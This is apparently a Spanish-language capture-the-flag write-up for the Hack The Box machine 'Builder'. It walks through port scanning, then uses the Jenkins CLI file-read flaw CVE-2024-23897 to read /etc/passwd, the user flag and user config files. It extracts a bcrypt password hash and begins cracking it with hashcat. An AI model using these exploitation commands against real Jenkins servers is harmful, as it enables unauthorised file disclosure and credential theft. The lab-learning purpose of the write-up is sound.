Builder

Lo primero que voy a hacer es si la máquina me responde a un ping y se encuentra encendida.

❯ ping -c 1 10.10.11.10 -R
PING 10.10.11.10 (10.10.11.10) 56(124) bytes of data.
64 bytes from 10.10.11.10: icmp_seq=1 ttl=63 time=117 ms
RR: 	10.10.14.96 -> NUESTRA IP ATACANTE
	    10.10.10.2 -> NODO INTERMEDIARIO
	    10.10.11.10 -> IP VICTIMA
	    10.10.11.10
	    10.10.14.1 -> NODO INTERMEDIARIO
	    10.10.14.96


--- 10.10.11.10 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 117.326/117.326/117.326/0.000 ms

Gracias al ttl identifico que estoy ante una máquina Linux.

Ahora voy a hacer una enummeración con nmap para escanear todos los puertos (-p-) abiertos (–open) con un Stealth Scan (-sS), que permite un escaneo más rápido y sigiloso, junto con un –min-rate de 5000 para tramitar 5000 paquetes/segundo. Le incluyo también un triple verbose (-vvv) para que vaya mostrando por consola los puertos abiertos sin necesidad de que el escaneo concluya, y no quiero que aplique resolución DNS (-n) ni el descubrimiento/detección de hosts (-Pn). Por último lo exporto a formato grepeable (-oG).

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.10 -oG Puertos

❯ cat Puertos
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: Puertos
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ # Nmap 7.94SVN scan initiated Tue Jun  4 09:21:01 2024 as: nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oG Puertos 10.10.11.10
   2   │ # Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
   3   │ Host: 10.10.11.10 ()    Status: Up
   4   │ Host: 10.10.11.10 ()    Ports: 22/open/tcp//ssh///, 8080/open/tcp//http-proxy///
   5   │ # Nmap done at Tue Jun  4 09:21:17 2024 -- 1 IP address (1 host up) scanned in 16.02 seconds
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Una vez tenemos los puertos abiertos vamos a escanear esos 2 puertos lanzando un script básico de reconocimiento (-sC) y tratar de determinar la versión y servicio (-sV). Luego lo voy a exportar en formato nmap (-oN).

sudo nmap -p22,8080 -sCV 10.10.11.10 -oN objetivo
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-04 15:16 EDT
Nmap scan report for 10.10.11.10
Host is up (0.11s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
8080/tcp open  http    Jetty 10.0.18
|_http-title: Dashboard [Jenkins]
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Jetty(10.0.18)
| http-robots.txt: 1 disallowed entry 
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Vemos que en el puerto 22 tiene un Ubuntu. POdemos intentarnos hacer a la idea de cual es el codename haciendo una búsqueda en Internet y poniendo en este caso ‘OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 launchpad’.

Y suspuestamente es un Ubuntu Jammy.

En el 8080 encontramos Jenkins, un servidor de automatización open source escrito en Java. Podemos hacer un whatweb para ver que hay detrás.

❯ whatweb http://10.10.11.10:8080
http://10.10.11.10:8080 [200 OK] Cookies[JSESSIONID.2794e409], Country[RESERVED][ZZ], HTML5, HTTPServer[Jetty(10.0.18)], HttpOnly[JSESSIONID.2794e409], IP[10.10.11.10], Jenkins[2.441], Jetty[10.0.18], OpenSearch[/opensearch.xml], Script[application/json,text/javascript], Title[Dashboard [Jenkins]], UncommonHeaders[x-content-type-options,x-hudson-theme,referrer-policy,cross-origin-opener-policy,x-hudson,x-jenkins,x-jenkins-session,x-instance-identity], X-Frame-Options[sameorigin]

Voy a usar http-enum para enumerar recursos web en el servidor web objetivo. Puede detectar varias apps web, directorios y archivos que podrían encontrarse presentes. Actúa como un pequeño fuzzer, semejante a wfuzz, gobuster, dirbuster…

❯ nmap --script http-enum -p8080 10.10.11.10 -oN webScan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-04 16:02 EDT
Nmap scan report for 10.10.11.10
Host is up (0.13s latency).

PORT     STATE SERVICE
8080/tcp open  http-proxy
| http-enum: 
|   /robots.txt: Robots file
|   /api/: Potentially interesting folder
|_  /secured/: Potentially interesting folder (401 Unauthorized)

Nmap done: 1 IP address (1 host up) scanned in 357.86 seconds

Voy a probar a clonar este exploit para ver que ocurre.

❯ python3 CVE-2024-23897.py -u http://10.10.11.10:8080 -f /etc/passwd
RESPONSE from 10.10.11.10:8080: b'\x00'
❯ python3 CVE-2024-23897.py -u http://10.10.11.10:8080 -f /etc/passwd
RESPONSE from 10.10.11.10:8080: b'\x00'
❯ python3 CVE-2024-23897.py -u http://10.10.11.10:8080 -f /etc/passwd
RESPONSE from 10.10.11.10:8080: b'\x00'
❯ python3 CVE-2024-23897.py -u http://10.10.11.10:8080 -f /etc/passwd
RESPONSE from 10.10.11.10:8080: b'\x00'
❯ python3 CVE-2024-23897.py -u http://10.10.11.10:8080 -f /etc/passwd
RESPONSE from 10.10.11.10:8080: b'\x00\x00\x00\x00\x01\x08\n\x00\x00\x00K\x08ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n\x00\x00\x00\x1e\x08java -jar jenkins-cli.jar help\x00\x00\x00\n\x08 [COMMAND]\x00\x00\x00\x01\x08\n\x00\x00\x00N\x08Lists all the available commands or a detailed description of single command.\n\x00\x00\x00J\x08 COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)\n\x00\x00\x00\x04\x04\x00\x00\x00\x02'

Como podemos ver, ejecuto varias veces el script porque aveces lo reporta y otras veces no, pero cuando lo muestra podemos ver el /etc/passwd pero de forma parcial, no lo vemos entero el archivo. Voy a probar otro script, en este caso usaré este [repo] (https://github.com/3yujw7njai/CVE-2024-23897.git)

Nos vamos a conectar al cliente de jenkins para realizar diferentes cosas.

❯ java -jar jenkins-cli.jar -s http://10.10.11.10:8080/
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
  add-job-to-view
    Adds jobs to view.
  build
    Builds a job, and optionally waits until its completion.
  cancel-quiet-down
    Cancel the effect of the "quiet-down" command.
  clear-queue
    Clears the build queue.
  connect-node
    Reconnect to a node(s)
  console
    Retrieves console output of a build.
  copy-job
    Copies a job.
  create-credentials-by-xml
    Create Credential by XML
  create-credentials-domain-by-xml
    Create Credentials Domain by XML
  create-job
    Creates a new job by reading stdin as a configuration XML file.
  create-node
    Creates a new node by reading stdin as a XML configuration.
  create-view
    Creates a new view by reading stdin as a XML configuration.
  declarative-linter
    Validate a Jenkinsfile containing a Declarative Pipeline
  delete-builds
    Deletes build record(s).
  delete-credentials
    Delete a Credential
  delete-credentials-domain
    Delete a Credentials Domain
  delete-job
    Deletes job(s).
  delete-node
    Deletes node(s)
  delete-view
    Deletes view(s).
  disable-job
    Disables a job.
  disable-plugin
    Disable one or more installed plugins.
  disconnect-node
    Disconnects from a node.
  enable-job
    Enables a job.
  enable-plugin
    Enables one or more installed plugins transitively.
  get-credentials-as-xml
    Get a Credentials as XML (secrets redacted)
  get-credentials-domain-as-xml
    Get a Credentials Domain as XML
  get-job
    Dumps the job definition XML to stdout.
  get-node
    Dumps the node definition XML to stdout.
  get-view
    Dumps the view definition XML to stdout.
  groovy
    Executes the specified Groovy script. 
  groovysh
    Runs an interactive groovy shell.
  help
    Lists all the available commands or a detailed description of single command.
  import-credentials-as-xml
    Import credentials as XML. The output of "list-credentials-as-xml" can be used as input here as is, the only needed change is to set the actual Secrets which are redacted in the output.
  install-plugin
    Installs a plugin either from a file, an URL, or from update center. 
  keep-build
    Mark the build to keep the build forever.
  list-changes
    Dumps the changelog for the specified build(s).
  list-credentials
    Lists the Credentials in a specific Store
  list-credentials-as-xml
    Export credentials as XML. The output of this command can be used as input for "import-credentials-as-xml" as is, the only needed change is to set the actual Secrets which are redacted in the output.
  list-credentials-context-resolvers
    List Credentials Context Resolvers
  list-credentials-providers
    List Credentials Providers
  list-jobs
    Lists all jobs in a specific view or item group.
  list-plugins
    Outputs a list of installed plugins.
  mail
    Reads stdin and sends that out as an e-mail.
  offline-node
    Stop using a node for performing builds temporarily, until the next "online-node" command.
  online-node
    Resume using a node for performing builds, to cancel out the earlier "offline-node" command.
  quiet-down
    Quiet down Jenkins, in preparation for a restart. Don’t start any builds.
  reload-configuration
    Discard all the loaded data in memory and reload everything from file system. Useful when you modified config files directly on disk.
  reload-job
    Reload job(s)
  remove-job-from-view
    Removes jobs from view.
  replay-pipeline
    Replay a Pipeline build with edited script taken from standard input
  restart
    Restart Jenkins.
  restart-from-stage
    Restart a completed Declarative Pipeline build from a given stage.
  safe-restart
    Safe Restart Jenkins. Don’t start any builds.
  safe-shutdown
    Puts Jenkins into the quiet mode, wait for existing builds to be completed, and then shut down Jenkins.
  session-id
    Outputs the session ID, which changes every time Jenkins restarts.
  set-build-description
    Sets the description of a build.
  set-build-display-name
    Sets the displayName of a build.
  shutdown
    Immediately shuts down Jenkins server.
  stop-builds
    Stop all running builds for job(s)
  update-credentials-by-xml
    Update Credentials by XML
  update-credentials-domain-by-xml
    Update Credentials Domain by XML
  update-job
    Updates the job definition XML from stdin. The opposite of the get-job command.
  update-node
    Updates the node definition XML from stdin. The opposite of the get-node command.
  update-view
    Updates the view definition XML from stdin. The opposite of the get-view command.
  version
    Outputs the current version.
  wait-node-offline
    Wait for a node to become offline.
  wait-node-online
    Wait for a node to become online.
  who-am-i
    Reports your credential and permissions.

Por ejemplo podemos ver con quien estamos conectados.

❯ java -jar jenkins-cli.jar -s http://10.10.11.10:8080/ who-am-i
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Authenticated as: anonymous
Authorities:
  anonymous
❯ java -jar jenkins-cli.jar -s http://10.10.11.10:8080/ help @/etc/passwd
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help [COMMAND]
Lists all the available commands or a detailed description of single command.
 COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

Con la instrucción connect-node podemos ver más contenido.

 ❯ java -jar jenkins-cli.jar -s http://10.10.11.10:8080/ connect-node @/etc/passwd
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: No such agent "www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin" exists.
root:x:0:0:root:/root:/bin/bash: No such agent "root:x:0:0:root:/root:/bin/bash" exists.
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: No such agent "mail:x:8:8:mail:/var/mail:/usr/sbin/nologin" exists.
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: No such agent "backup:x:34:34:backup:/var/backups:/usr/sbin/nologin" exists.
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin: No such agent "_apt:x:42:65534::/nonexistent:/usr/sbin/nologin" exists.
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: No such agent "nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin" exists.
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: No such agent "lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin" exists.
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: No such agent "uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin" exists.
bin:x:2:2:bin:/bin:/usr/sbin/nologin: No such agent "bin:x:2:2:bin:/bin:/usr/sbin/nologin" exists.
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: No such agent "news:x:9:9:news:/var/spool/news:/usr/sbin/nologin" exists.
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: No such agent "proxy:x:13:13:proxy:/bin:/usr/sbin/nologin" exists.
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: No such agent "irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin" exists.
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin: No such agent "list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin" exists.
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: No such agent "jenkins:x:1000:1000::/var/jenkins_home:/bin/bash" exists.
games:x:5:60:games:/usr/games:/usr/sbin/nologin: No such agent "games:x:5:60:games:/usr/games:/usr/sbin/nologin" exists.
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: No such agent "man:x:6:12:man:/var/cache/man:/usr/sbin/nologin" exists.
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: No such agent "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin" exists.
sys:x:3:3:sys:/dev:/usr/sbin/nologin: No such agent "sys:x:3:3:sys:/dev:/usr/sbin/nologin" exists.
sync:x:4:65534:sync:/bin:/bin/sync: No such agent "sync:x:4:65534:sync:/bin:/bin/sync" exists.

Si queremos ver que comando tiene más lineas voy a ejecutar un pequeño script que he creado para que me ejecute todas las instrucciones y vea que instrucción me devuelve más líneas.

También podemos utilizar este comando para que saque solo los nombres.

❯ java -jar jenkins-cli.jar -s http://10.10.11.10:8080/ offline-node @/etc/passwd 2>&1 | awk -F: '$1 ~ /^[a-z]+$/ { sub(/:.*No such agent.*/, "", $0); print $0 }'

root
mail
backup
nobody
lp
uucp
bin
news
proxy
irc
list
jenkins
games
man
daemon
sys
sync
USER FLAG
---------------------------
❯ java -jar jenkins-cli.jar -s http://10.10.11.10:8080/ offline-node @/var/jenkins_home/user.txt
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

ERROR: No such agent "f4e5bc0dd58dad283a71da1e4e0265ed" exists.

Voy a desplegar jenkins en local y para eso voy a utilizar docker. Para instalarlo, puedes leer esta documentación

Una vez instalado Docker, vamos a usar el repositorio official de jenkins docker.

*************************************************************
*************************************************************
*************************************************************

Jenkins initial setup is required. An admin user has been created and a password generated.
Please use the following password to proceed to installation:

150641c8fceb45d09aef6b6c2086b5a6

This may also be found at: /var/jenkins_home/secrets/initialAdminPassword

*************************************************************
*************************************************************
*************************************************************

2024-06-07 18:00:53.519+0000 [id=52]	INFO	h.m.DownloadService$Downloadable#load: Obtained the updated data file for hudson.tasks.Maven.MavenInstaller
2024-06-07 18:00:53.520+0000 [id=52]	INFO	hudson.util.Retrier#start: Performed the action check updates server successfully at the attempt #1
2024-06-07 18:00:54.337+0000 [id=39]	INFO	jenkins.InitReactorRunner$1#onAttained: Completed initialization
2024-06-07 18:00:54.463+0000 [id=25]	INFO	hudson.lifecycle.Lifecycle#onReady: Jenkins is fully up and running

Cuando se despliega nos dice que un usuario de admin ha sido generado con una contraseña, y nos da la ruta donde se guarda. Asi que tenemos una ruta potencial que probar.

❯ java -jar jenkins-cli.jar -s http://10.10.11.10:8080/ offline-node @/var/jenkins_home/secrets/initialAdminPassword
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

ERROR: No such file: /var/jenkins_home/secrets/initialAdminPassword
java -jar jenkins-cli.jar offline-node NAME ... [-m VAL]
Stop using a node for performing builds temporarily, until the next "online-node" command.
 NAME   : Agent name, or empty string for built-in node
 -m VAL : Record the reason about why you are disconnecting this node

Pero no encuentro nada. Vamos a ver el docker

sudo docker ps
[sudo] password for oso: 
CONTAINER ID   IMAGE                       COMMAND                  CREATED          STATUS          PORTS                                                                                      NAMES
b794d2db7f54   jenkins/jenkins:lts-jdk17   "/usr/bin/tini -- /u…"   18 minutes ago   Up 18 minutes   0.0.0.0:8080->8080/tcp, :::8080->8080/tcp, 0.0.0.0:50000->50000/tcp, :::50000->50000/tcp   suspicious_wing
❯ sudo docker port suspicious_wing
50000/tcp -> 0.0.0.0:50000
50000/tcp -> :::50000
8080/tcp -> 0.0.0.0:8080
8080/tcp -> :::8080

Y ahora vamos a esperar a que instale.

Creamos la cuenta

Vamos a coger el container id para traernos una bash del docker con el siguiente comand.

sudo docker ps
CONTAINER ID   IMAGE                       COMMAND                  CREATED       STATUS         PORTS                                                                                      NAMES
b794d2db7f54   jenkins/jenkins:lts-jdk17   "/usr/bin/tini -- /u…"   2 hours ago   Up 5 minutes   0.0.0.0:8080->8080/tcp, :::8080->8080/tcp, 0.0.0.0:50000->50000/tcp, :::50000->50000/tcp   suspicious_wing
❯ sudo docker exec -it b794d2db7f54 bash
jenkins@b794d2db7f54:/$ 

Ahora podemos buscar por el nombre del usuario admin que hemos creado (en nuestro caso oso) para ver en que archivos se guarda.

jenkins@b794d2db7f54:~$ grep -r "oso" -l

users/oso_5157628474146071963/config.xml
users/users.xml

Si hago un cat de estos archivos:

jenkins@b794d2db7f54:~$ cat users/oso_5157628474146071963/config.xml
<?xml version='1.1' encoding='UTF-8'?>
<user>
  <version>10</version>
  <id>oso</id>
  <fullName>oso</fullName>
  <properties>
    <jenkins.console.ConsoleUrlProviderUserProperty/>
    <hudson.model.MyViewsProperty>
      <views>
        <hudson.model.AllView>
          <owner class="hudson.model.MyViewsProperty" reference="../../.."/>
          <name>all</name>
          <filterExecutors>false</filterExecutors>
          <filterQueue>false</filterQueue>
          <properties class="hudson.model.View$PropertyList"/>
        </hudson.model.AllView>
      </views>
    </hudson.model.MyViewsProperty>
    <org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty plugin="display-url-api@2.204.vf6fddd8a_8b_e9">
      <providerId>default</providerId>
    </org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty>
    <hudson.model.PaneStatusProperties>
      <collapsed/>
    </hudson.model.PaneStatusProperties>
    <jenkins.security.seed.UserSeedProperty>
      <seed>d32c65764236a94d</seed>
    </jenkins.security.seed.UserSeedProperty>
    <hudson.search.UserSearchProperty>
      <insensitiveSearch>true</insensitiveSearch>
    </hudson.search.UserSearchProperty>
    <hudson.model.TimeZoneProperty/>
    <jenkins.model.experimentalflags.UserExperimentalFlagsProperty>
      <flags/>
    </jenkins.model.experimentalflags.UserExperimentalFlagsProperty>
    <hudson.security.HudsonPrivateSecurityRealm_-Details>
      <passwordHash>#jbcrypt:$2a$10$MQAexN7oA60FHCOMCbHx/.5DRy4pcKO6FN0e7CB0xzAvB5RyxtjfC</passwordHash>
    </hudson.security.HudsonPrivateSecurityRealm_-Details>
    <hudson.tasks.Mailer_-UserProperty plugin="mailer@472.vf7c289a_4b_420">
      <emailAddress>oso@oso.com</emailAddress>
    </hudson.tasks.Mailer_-UserProperty>
    <jenkins.security.ApiTokenProperty>
      <tokenStore>
        <tokenList/>
      </tokenStore>
    </jenkins.security.ApiTokenProperty>
    <com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty plugin="credentials@1337.v60b_d7b_c7b_c9f">
      <domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash"/>
    </com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty>
    <io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-manager@215.vc1ff18d67920"/>
    <jenkins.security.LastGrantedAuthoritiesProperty>
      <roles>
        <string>authenticated</string>
      </roles>
      <timestamp>1717790997968</timestamp>
    </jenkins.security.LastGrantedAuthoritiesProperty>
  </properties>
</user>

jenkins@b794d2db7f54:~$ cat users/users.xml
<?xml version='1.1' encoding='UTF-8'?>
<hudson.model.UserIdMapper>
  <version>1</version>
  <idToDirectoryNameMap class="concurrent-hash-map">
    <entry>
      <string>oso</string>
      <string>oso_5157628474146071963</string>
    </entry>
  </idToDirectoryNameMap>
</hudson.model.UserIdMapper>jenkins@b794d2db7f54:~$ 

Entonces con esto podemos usar el exploit para ver ese archivo en esa ruta.


❯ java -jar jenkins-cli.jar -s http://10.10.11.10:8080/ offline-node @/var/jenkins_home/users/users.xml
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
<?xml version='1.1' encoding='UTF-8'?>: No such agent "<?xml version='1.1' encoding='UTF-8'?>" exists.
      <string>jennifer_12108429903186576833</string>: No such agent "      <string>jennifer_12108429903186576833</string>" exists.
  <idToDirectoryNameMap class="concurrent-hash-map">: No such agent "  <idToDirectoryNameMap class="concurrent-hash-map">" exists.
    <entry>: No such agent "    <entry>" exists.
      <string>jennifer</string>: No such agent "      <string>jennifer</string>" exists.
  <version>1</version>: No such agent "  <version>1</version>" exists.
</hudson.model.UserIdMapper>: No such agent "</hudson.model.UserIdMapper>" exists.
  </idToDirectoryNameMap>: No such agent "  </idToDirectoryNameMap>" exists.
<hudson.model.UserIdMapper>: No such agent "<hudson.model.UserIdMapper>" exists.
    </entry>: No such agent "    </entry>" exists.

ERROR: Error occurred while performing this command, see previous stderr output.

Y obtenemos un usuario jennifer_12108429903186576833 que ahora poodemos buscar.

❯ java -jar jenkins-cli.jar -s http://10.10.11.10:8080/ offline-node @/var/jenkins_home/users/jennifer_12108429903186576833/config.xml
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
    <hudson.tasks.Mailer_-UserProperty plugin="mailer@463.vedf8358e006b_">: No such agent "    <hudson.tasks.Mailer_-UserProperty plugin="mailer@463.vedf8358e006b_">" exists.
    <hudson.search.UserSearchProperty>: No such agent "    <hudson.search.UserSearchProperty>" exists.
      <roles>: No such agent "      <roles>" exists.
    <jenkins.security.seed.UserSeedProperty>: No such agent "    <jenkins.security.seed.UserSeedProperty>" exists.
      </tokenStore>: No such agent "      </tokenStore>" exists.
    </hudson.search.UserSearchProperty>: No such agent "    </hudson.search.UserSearchProperty>" exists.
      <timeZoneName></timeZoneName>: No such agent "      <timeZoneName></timeZoneName>" exists.
  <properties>: No such agent "  <properties>" exists.
    <jenkins.security.LastGrantedAuthoritiesProperty>: No such agent "    <jenkins.security.LastGrantedAuthoritiesProperty>" exists.
      <flags/>: No such agent "      <flags/>" exists.
    <hudson.model.MyViewsProperty>: No such agent "    <hudson.model.MyViewsProperty>" exists.
</user>: No such agent "</user>" exists.
    </jenkins.security.ApiTokenProperty>: No such agent "    </jenkins.security.ApiTokenProperty>" exists.
      <views>: No such agent "      <views>" exists.
        <string>authenticated</string>: No such agent "        <string>authenticated</string>" exists.
    <org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty plugin="display-url-api@2.200.vb_9327d658781">: No such agent "    <org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty plugin="display-url-api@2.200.vb_9327d658781">" exists.
<user>: No such agent "<user>" exists.
          <name>all</name>: No such agent "          <name>all</name>" exists.
  <description></description>: No such agent "  <description></description>" exists.
      <emailAddress>jennifer@builder.htb</emailAddress>: No such agent "      <emailAddress>jennifer@builder.htb</emailAddress>" exists.
      <collapsed/>: No such agent "      <collapsed/>" exists.
    </jenkins.security.seed.UserSeedProperty>: No such agent "    </jenkins.security.seed.UserSeedProperty>" exists.
    </org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty>: No such agent "    </org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty>" exists.
    </hudson.model.MyViewsProperty>: No such agent "    </hudson.model.MyViewsProperty>" exists.
      <domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash"/>: No such agent "      <domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash"/>" exists.
          <filterQueue>false</filterQueue>: No such agent "          <filterQueue>false</filterQueue>" exists.
    <jenkins.security.ApiTokenProperty>: No such agent "    <jenkins.security.ApiTokenProperty>" exists.
      <primaryViewName></primaryViewName>: No such agent "      <primaryViewName></primaryViewName>" exists.
      </views>: No such agent "      </views>" exists.
    </hudson.model.TimeZoneProperty>: No such agent "    </hudson.model.TimeZoneProperty>" exists.
    <com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty plugin="credentials@1319.v7eb_51b_3a_c97b_">: No such agent "    <com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty plugin="credentials@1319.v7eb_51b_3a_c97b_">" exists.
    </hudson.model.PaneStatusProperties>: No such agent "    </hudson.model.PaneStatusProperties>" exists.
    </hudson.tasks.Mailer_-UserProperty>: No such agent "    </hudson.tasks.Mailer_-UserProperty>" exists.
        <tokenList/>: No such agent "        <tokenList/>" exists.
    <jenkins.console.ConsoleUrlProviderUserProperty/>: No such agent "    <jenkins.console.ConsoleUrlProviderUserProperty/>" exists.
        </hudson.model.AllView>: No such agent "        </hudson.model.AllView>" exists.
      <timestamp>1707318554385</timestamp>: No such agent "      <timestamp>1707318554385</timestamp>" exists.
          <owner class="hudson.model.MyViewsProperty" reference="../../.."/>: No such agent "          <owner class="hudson.model.MyViewsProperty" reference="../../.."/>" exists.
  </properties>: No such agent "  </properties>" exists.
    </jenkins.model.experimentalflags.UserExperimentalFlagsProperty>: No such agent "    </jenkins.model.experimentalflags.UserExperimentalFlagsProperty>" exists.
    </com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty>: No such agent "    </com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty>" exists.
    <hudson.security.HudsonPrivateSecurityRealm_-Details>: No such agent "    <hudson.security.HudsonPrivateSecurityRealm_-Details>" exists.
      <insensitiveSearch>true</insensitiveSearch>: No such agent "      <insensitiveSearch>true</insensitiveSearch>" exists.
          <properties class="hudson.model.View$PropertyList"/>: No such agent "          <properties class="hudson.model.View$PropertyList"/>" exists.
    <hudson.model.TimeZoneProperty>: No such agent "    <hudson.model.TimeZoneProperty>" exists.
        <hudson.model.AllView>: No such agent "        <hudson.model.AllView>" exists.
    </hudson.security.HudsonPrivateSecurityRealm_-Details>: No such agent "    </hudson.security.HudsonPrivateSecurityRealm_-Details>" exists.
      <providerId>default</providerId>: No such agent "      <providerId>default</providerId>" exists.
      </roles>: No such agent "      </roles>" exists.
    </jenkins.security.LastGrantedAuthoritiesProperty>: No such agent "    </jenkins.security.LastGrantedAuthoritiesProperty>" exists.
    <jenkins.model.experimentalflags.UserExperimentalFlagsProperty>: No such agent "    <jenkins.model.experimentalflags.UserExperimentalFlagsProperty>" exists.
    <hudson.model.PaneStatusProperties>: No such agent "    <hudson.model.PaneStatusProperties>" exists.
<?xml version='1.1' encoding='UTF-8'?>: No such agent "<?xml version='1.1' encoding='UTF-8'?>" exists.
  <fullName>jennifer</fullName>: No such agent "  <fullName>jennifer</fullName>" exists.
      <seed>6841d11dc1de101d</seed>: No such agent "      <seed>6841d11dc1de101d</seed>" exists.
  <id>jennifer</id>: No such agent "  <id>jennifer</id>" exists.
  <version>10</version>: No such agent "  <version>10</version>" exists.
      <tokenStore>: No such agent "      <tokenStore>" exists.
          <filterExecutors>false</filterExecutors>: No such agent "          <filterExecutors>false</filterExecutors>" exists.
    <io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-manager@215.vc1ff18d67920"/>: No such agent "    <io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-manager@215.vc1ff18d67920"/>" exists.
      <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>: No such agent "      <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>" exists.

ERROR: Error occurred while performing this command, see previous stderr output.

Y sacamos esto $2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a. Vamos a intentar crackerarlo.

❯ hashid '$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a'
Analyzing '$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a'
[+] Blowfish(OpenBSD) 
[+] Woltlab Burning Board 4.x 
[+] bcrypt 
❯ hashcat --example-hashes | grep -i "bcrypt"
  Name................: bcrypt $2*$, Blowfish (Unix)
  Name................: bcrypt(md5($pass)) / bcryptmd5
  Name................: bcrypt(sha1($pass)) / bcryptsha1
  Name................: bcrypt(sha512($pass)) / bcryptsha512

Y tiene toda la pinta que sea el Blowfish. Vamos a ver cual es el modo listando con -B 1 lineas por encima de ese match.

❯ hashcat --example-hashes | grep -i "bcrypt" -B 1
Hash mode #3200
  Name................: bcrypt $2*$, Blowfish (Unix)
--
Hash mode #25600
  Name................: bcrypt(md5($pass)) / bcryptmd5
--
Hash mode #25800
  Name................: bcrypt(sha1($pass)) / bcryptsha1
--
Hash mode #28400
  Name................: bcrypt(sha512($pass)) / bcryptsha512

Es el 3200, asi que con hashcat puedo aplicar un ataque de fuerza bruta (-a 0), donde con el modo 3200 (-m 3200) le paso el hash y el diccionario.

❯ hashcat -a 0 -m 3200 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 5.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
